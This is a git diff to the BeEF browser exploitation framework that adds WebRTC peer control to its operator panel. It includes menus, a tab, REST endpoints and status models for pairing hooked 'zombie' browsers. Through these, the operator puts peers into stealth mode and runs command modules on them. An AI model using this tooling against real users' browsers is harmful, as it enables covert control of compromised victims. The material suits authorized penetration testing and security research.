panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js) panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
global_js = esapi + ux + panel global_js = esapi + ux + panel

View File

@@ -114,7 +114,8 @@ module BeEF
'has_quicktime' => has_quicktime, 'has_quicktime' => has_quicktime,
'has_wmp' => has_wmp, 'has_wmp' => has_wmp,
'has_realplayer' => has_realplayer, 'has_realplayer' => has_realplayer,
'date_stamp' => date_stamp 'date_stamp' => date_stamp,
'hb_id' => hooked_browser.id
} }
end end

View File

@@ -80,6 +80,12 @@
background-image: url(../images/icons/xssrays.png); background-image: url(../images/icons/xssrays.png);
} }
.zombie-tree-ctxMenu-rtc {
background-image: url(../images/icons/network.png);
background-size: 24px 24px;
background-repeat: no-repeat;
}
.zombie-tree-ctxMenu-delete { .zombie-tree-ctxMenu-delete {
background-image: url(../images/icons/delete.png); background-image: url(../images/icons/delete.png);
background-size: 32px 32px; background-size: 32px 32px;

View File

@@ -13,6 +13,7 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
var BeefWUI = { var BeefWUI = {
rest_token: "", rest_token: "",
hooked_browsers: {},
/** /**
* Retrieve the token needed to call the RESTful API. * Retrieve the token needed to call the RESTful API.
@@ -37,7 +38,107 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
}); });
} }
return this.rest_token; return this.rest_token;
} },
/**
* Get hooked browser ID from session
*/
get_hb_id: function(sess){
var id = "";
$jwterm.ajax({
type: 'GET',
url: "/api/hooks/?token=" + this.get_rest_token(),
async: false,
processData: false,
success: function(data){
for (var k in data['hooked-browsers']['online']) {
if (data['hooked-browsers']['online'][k].session === sess) {
id = data['hooked-browsers']['online'][k].id;
}
}
if (id === "") {
for (var k in data['hooked-browsers']['offline']) {
if (data['hooked-browsers']['offline'][k].session === sess) {
id = data['hooked-browsers']['offline'][k].id;
}
}
}
},
error: function(){
commands_statusbar.update_fail("Error getting hb id");
}
});
return id;
},
/**
* Get hooked browser info from ID
*/
get_info_from_id: function(id) {
var info = {};
$jwterm.ajax({
type: 'GET',
url: "/api/hooks/?token=" + this.get_rest_token(),
async: false,
processData: false,
success: function(data){
for (var k in data['hooked-browsers']['online']) {
if (data['hooked-browsers']['online'][k].id === id) {
info = data['hooked-browsers']['online'][k];
}
}
if ($jwterm.isEmptyObject(info)) {
for (var k in data['hooked-browsers']['offline']) {
if (data['hooked-browsers']['offline'][k].id === id) {
info = data['hooked-browsers']['offline'][k];
}
}
}
},
error: function(){
commands_statusbar.update_fail("Error getting hb ip");
}
});
console.log(info);
return info;
},
/**
* Get hooked browser info from ID
*/
get_fullinfo_from_id: function(id) {
var info = {};
$jwterm.ajax({
type: 'POST',
url: "<%= @base_path %>/panel/hooked-browser-tree-update.json",
async: false,
processData: false,
success: function(data){
for (var k in data['hooked-browsers']['online']) {
if (data['hooked-browsers']['online'][k].id === id) {
info = data['hooked-browsers']['online'][k];
}
}
if ($jwterm.isEmptyObject(info)) {
for (var k in data['hooked-browsers']['offline']) {
if (data['hooked-browsers']['offline'][k].id === id) {
info = data['hooked-browsers']['offline'][k];
}
}
}
},
error: function(){
commands_statusbar.update_fail("Error getting hb ip");
}
});
console.log(info);
return info;
}
}; };
window.beefwui = BeefWUI; window.beefwui = BeefWUI;

View File

@@ -59,6 +59,7 @@ Ext.TaskMgr.start({
hr.innerHTML = "You appear to be logged out. <a href='<%= @base_path %>/panel/'>Login</a>"; hr.innerHTML = "You appear to be logged out. <a href='<%= @base_path %>/panel/'>Login</a>";
} }
var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null; var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null;
beefwui.hooked_browsers = (updates['hooked-browsers']); //? updates['hooked-browsers'] : null;
var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null; var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;
if(zombiesManager && hooked_browsers) { if(zombiesManager && hooked_browsers) {
@@ -80,4 +81,4 @@ Ext.TaskMgr.start({
}, },
interval: 8000 interval: 8000
}); });

View File

@@ -13,6 +13,7 @@ ZombieTab = function(zombie) {
ipec_tab = new ZombieTab_IpecTab(zombie); ipec_tab = new ZombieTab_IpecTab(zombie);
autorun_tab = new ZombieTab_Autorun(zombie); autorun_tab = new ZombieTab_Autorun(zombie);
network_tab = new ZombieTab_Network(zombie); network_tab = new ZombieTab_Network(zombie);
rtc_tab = new ZombieTab_Rtc(zombie);
ZombieTab.superclass.constructor.call(this, { ZombieTab.superclass.constructor.call(this, {
id:"current-browser", id:"current-browser",
@@ -25,7 +26,7 @@ ZombieTab = function(zombie) {
forceFit: true, forceFit: true,
type: 'fit' type: 'fit'
}, },
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab], items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab, rtc_tab],
listeners:{ listeners:{
afterrender:function(component){ afterrender:function(component){
// Hide auto-run tab // Hide auto-run tab

View File

@@ -32,6 +32,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_quicktime = zombie_array[index]["has_quicktime"]; var has_quicktime = zombie_array[index]["has_quicktime"];
var has_realplayer = zombie_array[index]["has_realplayer"]; var has_realplayer = zombie_array[index]["has_realplayer"];
var date_stamp = zombie_array[index]["date_stamp"]; var date_stamp = zombie_array[index]["date_stamp"];
var hb_id = zombie_array[index]["hb_id"];
text = "<img src='<%= @base_path %>/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> "; text = "<img src='<%= @base_path %>/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
text+= "<img src='<%= @base_path %>/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> "; text+= "<img src='<%= @base_path %>/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
@@ -75,6 +76,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
this.updateZombies = function(zombies, rules){ this.updateZombies = function(zombies, rules){
var offline_hooked_browsers = zombies["offline"]; var offline_hooked_browsers = zombies["offline"];
var online_hooked_browsers = zombies["online"]; var online_hooked_browsers = zombies["online"];
beefwui.hooked_browsers = zombies["online"];
for(tree_type in this.zombies_tree_lists) { for(tree_type in this.zombies_tree_lists) {
hooked_browsers_tree = this.zombies_tree_lists[tree_type]; hooked_browsers_tree = this.zombies_tree_lists[tree_type];

View File

@@ -357,7 +357,13 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
fieldLabel: 'Description', fieldLabel: 'Description',
fieldClass: 'command-module-panel-description', fieldClass: 'command-module-panel-description',
value: module.Description value: module.Description
}) }),
new Ext.form.DisplayField({
name: 'command_module_id_visible',
fieldLabel: 'Id',
fieldClass: 'command-module-panel-description',
value: command_module_id
})
], ],
buttons:[{ buttons:[{

View File

@@ -0,0 +1,330 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
* The RTC tab panel for the selected zombie browser.
* Loaded in /ui/panel/index.html
*/
ZombieTab_Rtc = function(zombie) {
var zombie_id = beefwui.get_hb_id(zombie.session);
// The status bar.
var commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session);
// RESTful API token
var token = beefwui.get_rest_token();
/*
* The panel that displays all identified network services grouped by host
********************************************/
var rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({
storeId: 'rtc-events-store-zombie-'+zombie.session,
proxy: new Ext.data.HttpProxy({
url: '/api/webrtc/events/'+zombie_id+'?token='+token,
method: 'GET'
}),
remoteSort: false,
autoDestroy: true,
autoLoad: false,
root: 'events',
fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'],
sortInfo: {field: 'id', direction: 'ASC'}
});
var req_pagesize = 50;
var rtc_events_panel_bbar = new Ext.PagingToolbar({
pageSize: req_pagesize,
store: rtc_events_panel_store,
displayInfo: true,
displayMsg: 'Displaying RTC events {0} - {1} of {2}',
emptyMsg: 'No events to display'
});
var rtc_events_panel_grid = new Ext.grid.GridPanel({
id: 'rtc-events-grid-zombie-'+zombie.session,
store: rtc_events_panel_store,
bbar: rtc_events_panel_bbar,
border: false,
loadMask: {msg:'Loading events...'},
viewConfig: {
forceFit: true
},
view: new Ext.grid.GridView({
forceFit: true,
emptyText: "No events",
enableRowBody:true
}),
columns: [
{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
{header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
{header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
if (value === zombie_id) {
return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
} else {
// return $jEncoder.encoder.encodeForHTML(value) + " <img src='/ui/media/images/icons/chrome.png' style='padding-top:3px;' width='13px' height='13px'/> (" + beefwui.get_info_from_id(value) + ")";
return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
}
}},
{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
],
listeners: {
contextmenu: function(e, element, options) {
e.preventDefault();
},
containercontextmenu: function(view, e) {
e.preventDefault();
},
rowcontextmenu: function(grid, rowIndex, e) {
e.preventDefault();
grid.getSelectionModel().selectRow(rowIndex);
if (!!grid.rowCtxMenu) {
grid.rowCtxMenu.destroy();
}
var record = grid.selModel.getSelected();
if (record.json.status==="Connected") {
grid.rowCtxMenu = new Ext.menu.Menu({
items: [
{
text: "Command Peer to Stealth",
handler: function() {
if (zombie_id === record.json.hb_id) {
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.hb_id,
'to': record.json.target_id,
'message': "!gostealth"
}
});
} else {
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.target_id,
'to': record.json.hb_id,
'message': "!gostealth"
}
});
}
}
},{
text: "Execute Command Module via RTC",
handler: function() {
var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
var cmd_id = prompt("Enter command module ID:");
var cmd_opts = prompt("Parameters:");
if (cmd_opts == "") {
cmd_opts = "[]";
}
cmd_opts = JSON.parse(cmd_opts);
if (!cmd_id || cmd_id == "") {
return;
}
if (zombie_id === record.json.hb_id) {
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.hb_id,
'to': record.json.target_id,
'cmdid': cmd_id,
'options': cmd_opts
}
});
} else {
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.target_id,
'to': record.json.hb_id,
'cmdid': cmd_id,
'options': cmd_opts
}
});
}
}
}
]
});
grid.rowCtxMenu.showAt(e.getXY());
} else if (record.json.status==="Stealthed!!") {
grid.rowCtxMenu = new Ext.menu.Menu({
items: [
{
text: "Command Peer to un-stealth",
handler: function() {
if (zombie_id === record.json.hb_id) {
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.hb_id,
'to': record.json.target_id,
'message': "!endstealth"
}
});
}
}
},{
text: "Execute Command Module via RTC",
handler: function() {
var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
var cmd_id = prompt("Enter command module ID:");
var cmd_opts = prompt("Parameters:");
if (cmd_opts == "") {
cmd_opts = "[]";
}
cmd_opts = JSON.parse(cmd_opts);
if (!cmd_id || cmd_id == "") {
return;
}
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': record.json.hb_id,
'to': record.json.target_id,
'cmdid': cmd_id,
'options': cmd_opts
}
});
}
}
]
});
grid.rowCtxMenu.showAt(e.getXY());
}
},
afterrender: function(datagrid) {
datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}});
}
}
});
var rtc_events_panel = new Ext.Panel({
id: 'rtc-events-host-panel-zombie-'+zombie.session,
title: 'Peers',
items:[rtc_events_panel_grid],
layout: 'fit',
listeners: {
activate: function(hosts_panel) {
rtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
}
}
});
/*
* The panel that displays all command modules executed via RTC
********************************************/
var rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({
storeId: 'rtc-moduleevents-store-zombie-'+zombie.session,
proxy: new Ext.data.HttpProxy({
url: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token,
method: 'GET'
}),
remoteSort: false,
autoDestroy: true,
autoLoad: false,
root: 'events',
fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'],
sortInfo: {field: 'id', direction: 'ASC'}
});
var rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({
pageSize: req_pagesize,
store: rtc_moduleevents_panel_store,
displayInfo: true,
displayMsg: 'Displaying RTC command events {0} - {1} of {2}',
emptyMsg: 'No events to display'
});
var rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({
id: 'rtc-moduleevents-grid-zombie-'+zombie.session,
store: rtc_moduleevents_panel_store,
bbar: rtc_moduleevents_panel_bbar,
border: false,
loadMask: {msg:'Loading events...'},
viewConfig: {
forceFit: true
},
view: new Ext.grid.GridView({
forceFit: true,
emptyText: "No events",
enableRowBody:true
}),
columns: [
{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
{header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
{header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
if (value === zombie_id) {
return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
} else {
return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
}
}},
{header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){
return $jEncoder.encoder.encodeForHTML(value);
}},
{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
]
});
var rtc_moduleevents_panel = new Ext.Panel({
id: 'rtc-moduleevents-host-panel-zombie-'+zombie.session,
title: 'Command module results',
items:[rtc_moduleevents_panel_grid],
layout: 'fit',
listeners: {
activate: function(hosts_panel) {
rtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} });
}
}
});
/*
* The Network tab constructor
********************************************/
ZombieTab_Rtc.superclass.constructor.call(this, {
id: 'zombie-rtc-tab-zombie-'+zombie.session,
title: 'WebRTC',
activeTab: 0,
viewConfig: {
forceFit: true,
stripRows: true,
type: 'fit'
},
items: [rtc_events_panel,rtc_moduleevents_panel],
bbar: commands_statusbar,
listeners: {
}
});
};
Ext.extend(ZombieTab_Rtc, Ext.TabPanel, {});

View File

@@ -11,6 +11,7 @@ zombiesTreeList = function(id) {
var title = id.slice(0,1).toUpperCase() + id.slice(1); var title = id.slice(0,1).toUpperCase() + id.slice(1);
zombiesTreeList.superclass.constructor.call(this, { zombiesTreeList.superclass.constructor.call(this, {
id:'zombie-tree-'+id, id:'zombie-tree-'+id,
region:'west', region:'west',
@@ -56,6 +57,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
'sub-branch' : 'domain', 'sub-branch' : 'domain',
'distributed' : false 'distributed' : false
}, },
//store the list of online hooked browsers in an array //store the list of online hooked browsers in an array
online_hooked_browsers_array: new Array, online_hooked_browsers_array: new Array,
@@ -76,6 +78,15 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
id: 'xssrays_hooked_domain', id: 'xssrays_hooked_domain',
text: 'Launch XssRays on Hooked Domain', text: 'Launch XssRays on Hooked Domain',
iconCls: 'zombie-tree-ctxMenu-xssrays' iconCls: 'zombie-tree-ctxMenu-xssrays'
},{
id: 'rtc_caller',
text: 'Set as WebRTC Caller',
iconCls: 'zombie-tree-ctxMenu-rtc'
},{
id: 'rtc_receiver',
text: 'Set as WebRTC Receiver and GO',
iconCls: 'zombie-tree-ctxMenu-rtc',
activated: false
},{ },{
xtype: 'menuseparator' xtype: 'menuseparator'
},{ },{
@@ -88,7 +99,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
listeners: { listeners: {
itemclick: function(item, object) { itemclick: function(item, object) {
var hb_id = this.contextNode.id.split('zombie-online-')[1]; var hb_id = this.contextNode.id.split('zombie-online-')[1];
var hb_id_off = this.contextNode.id.split('zombie-offline-')[1]; var hb_id_off = this.contextNode.id.split('zombie-offline-')[1];
switch (item.id) { switch (item.id) {
case 'use_as_proxy': case 'use_as_proxy':
Ext.Ajax.request({ Ext.Ajax.request({
@@ -104,19 +115,36 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
params: 'hb_id=' + escape(hb_id) params: 'hb_id=' + escape(hb_id)
}); });
break; break;
case 'rtc_caller':
beefwui.rtc_caller = hb_id;
break;
case 'rtc_receiver':
beefwui.rtc_receiver = hb_id;
var url = "/api/webrtc/go?token=" + beefwui.get_rest_token();
Ext.Ajax.request({
url: url,
method: 'POST',
headers: {'Content-Type': 'application/json; charset=UTF-8'},
jsonData: {
'from': beefwui.get_hb_id(beefwui.rtc_caller),
'to': beefwui.get_hb_id(beefwui.rtc_receiver),
'verbose': true
}
});
break;
case 'delete_zombie': case 'delete_zombie':
var token = beefwui.get_rest_token(); var token = beefwui.get_rest_token();
var hid = ''; var hid = '';
if (typeof hb_id_off === 'undefined'){ if (typeof hb_id_off === 'undefined'){
hid=hb_id; hid=hb_id;
}else{ }else{
hid=hb_id_off; hid=hb_id_off;
} }
var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token; var url = "/api/hooks/" + escape(hid) + "/delete?token=" + token;
Ext.Ajax.request({ Ext.Ajax.request({
url: url, url: url,
method: 'GET' method: 'GET'
}); });
break; break;
} }
} }
@@ -126,6 +154,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
listeners: { listeners: {
//creates a new hooked browser tab when a hooked browser is clicked //creates a new hooked browser tab when a hooked browser is clicked
click: function(node, e) { click: function(node, e) {
globalnode = node;
if(!node.leaf) return; if(!node.leaf) return;
mainPanel.remove(mainPanel.getComponent('current-browser')); mainPanel.remove(mainPanel.getComponent('current-browser'));
@@ -140,8 +169,28 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
if(!node.leaf) return; if(!node.leaf) return;
node.select(); node.select();
// if (typeof(beefwui.rtc_caller) === 'undefined') {
// node.getOwnerTree().contextMenu.items.add({
// id: 'rtc_caller',
// text: 'Set as WebRTC Caller',
// iconCls: 'zombie-tree-ctxMenu-xssrays'
// });
// }
var c = node.getOwnerTree().contextMenu; var c = node.getOwnerTree().contextMenu;
c.contextNode = node; c.contextNode = node;
if (typeof(beefwui.rtc_caller) === 'undefined') {
c.items.get('rtc_receiver').disable();
} else if (beefwui.rtc_caller === node.id.substr(-80)) {
c.items.get('rtc_receiver').disable();
} else {
c.items.get('rtc_receiver').enable();
}
// c.items['rtc_receiver'].disable();
// c.add({
// id: 'rtc_caller',
// text: 'Set as WebRTC Caller',
// iconCls: 'zombie-tree-ctxMenu-xssrays'});
c.showAt(event.getXY()); c.showAt(event.getXY());
}, },

View File

@@ -7,7 +7,7 @@ beef:
extension: extension:
webrtc: webrtc:
name: 'WebRTC' name: 'WebRTC'
enable: false enable: true
authors: ["xntrik"] authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]' stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]' # stunservers: '["stun:stun.l.google.com:19302"]'

View File

@@ -19,6 +19,8 @@ end
require 'extensions/webrtc/models/rtcsignal' require 'extensions/webrtc/models/rtcsignal'
require 'extensions/webrtc/models/rtcmanage' require 'extensions/webrtc/models/rtcmanage'
require 'extensions/webrtc/models/rtcstatus'
require 'extensions/webrtc/models/rtcmodulestatus'
require 'extensions/webrtc/api/hook' require 'extensions/webrtc/api/hook'
require 'extensions/webrtc/handlers' require 'extensions/webrtc/handlers'
require 'extensions/webrtc/api' require 'extensions/webrtc/api'

View File

@@ -88,6 +88,74 @@ module BeEF
# Writes the event into the BeEF Logger # Writes the event into the BeEF Logger
BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}") BeEF::Core::Logger.instance.register('WebRTC', "Browser:#{zombie_db.id} received message from Browser:#{peer_zombie_db.id}: #{message}")
# Perform logic depending on message (updating database)
puts "message = '" + message + "'"
if (message == "ICE Status: connected")
# Find existing status message
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
unless stat.nil?
stat.status = "Connected"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
unless stat2.nil?
stat2.status = "Connected"
stat2.updated_at = Time.now
stat2.save
end
elsif (message.end_with?("disconnected"))
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
unless stat.nil?
stat.status = "Disconnected"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
unless stat2.nil?
stat2.status = "Disconnected"
stat2.updated_at = Time.now
stat2.save
end
elsif (message == "Stayin alive")
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
unless stat.nil?
stat.status = "Stealthed!!"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
unless stat2.nil?
stat2.status = "Peer-controlled stealth-mode"
stat2.updated_at = Time.now
stat2.save
end
elsif (message == "Coming out of stealth...")
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => zombie_db.id, :target_hooked_browser_id => peer_zombie_db.id) || nil
unless stat.nil?
stat.status = "Connected"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => peer_zombie_db.id, :target_hooked_browser_id => zombie_db.id) || nil
unless stat2.nil?
stat2.status = "Connected"
stat2.updated_at = Time.now
stat2.save
end
elsif (message.start_with?("execcmd"))
mod = /\(\/command\/(.*)\.js\)/.match(message)[1]
resp = /Result:.(.*)/.match(message)[1]
stat = BeEF::Core::Models::Rtcmodulestatus.new(:hooked_browser_id => zombie_db.id,
:target_hooked_browser_id => peer_zombie_db.id,
:command_module_id => mod,
:status => resp,
:created_at => Time.now,
:updated_at => Time.now)
stat.save
end
end end
end end

View File

@@ -0,0 +1,47 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the webrtc status information
# This includes things like connection status, and executed modules etc
#
class Rtcmodulestatus
include DataMapper::Resource
storage_names[:default] = 'extension_webrtc_rtcmodulestatus'
property :id, Serial
# The hooked browser id
property :hooked_browser_id, Text, :lazy => false
# The hooked browser's IP
# property :hooked_browser_ip, Text, :lazy => false
# The target hooked browser id
property :target_hooked_browser_id, Text, :lazy => false
# The command module ID
property :command_module_id, Text, :lazy => false
# The status field
property :status, Text, :lazy => true
# Timestamps
property :created_at, DateTime
property :updated_at, DateTime
end
end
end
end

View File

@@ -0,0 +1,47 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the webrtc status information
# This includes things like connection status, and executed modules etc
#
class Rtcstatus
include DataMapper::Resource
storage_names[:default] = 'extension_webrtc_rtcstatus'
property :id, Serial
# The hooked browser id
property :hooked_browser_id, Text, :lazy => false
# The hooked browser's IP
# property :hooked_browser_ip, Text, :lazy => false
# The target hooked browser id
property :target_hooked_browser_id, Text, :lazy => false
# The target hooked browser's IP
# property :target_hooked_browser_ip, Text, :lazy => false
# The status field
property :status, Text, :lazy => true
# Timestamps
property :created_at, DateTime
property :updated_at, DateTime
end
end
end
end

View File

@@ -7,7 +7,10 @@ module BeEF
module Extension module Extension
module WebRTC module WebRTC
# This class handles the routing of RESTful API requests that manage the WebRTC Extension require 'base64'
# This class handles the routing of RESTful API requests that manage the
# WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
@@ -26,10 +29,16 @@ module BeEF
# #
# @note Initiate two browsers to establish a WebRTC PeerConnection # @note Initiate two browsers to establish a WebRTC PeerConnection
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # Return success = true if the message has been queued - as this is
# for success messages. For instance: Event: Browser:1 received message from Browser:2: ICE Status: connected # asynchronous, you will have to monitor BeEFs event log for success
# messages. For instance: Event: Browser:1 received message from
# Browser:2: ICE Status: connected
# #
# Input must be specified in JSON format # Alternatively, the new rtcstatus model also records events during
# RTC connectivity
#
# Input must be specified in JSON format (the verbose option is no
# longer required as client-debugging uses the beef.debug)
# #
# +++ Example: +++ # +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 #POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
@@ -82,6 +91,18 @@ module BeEF
result['success'] = true result['success'] = true
end end
end end
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
:target_hooked_browser_id => tohb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
:target_hooked_browser_id => fromhb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r2.save
else else
result['success'] = false result['success'] = false
end end
@@ -130,6 +151,107 @@ module BeEF
end end
end end
#
# @note Get the events from the RTCstatus model of a particular browser
# Return JSON with events_count and an array of events
#
# +++ Example: +++
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/events/:id' do
begin
id = params[:id]
events = BeEF::Core::Models::Rtcstatus.all(:hooked_browser_id => id)
events_json = []
count = events.length
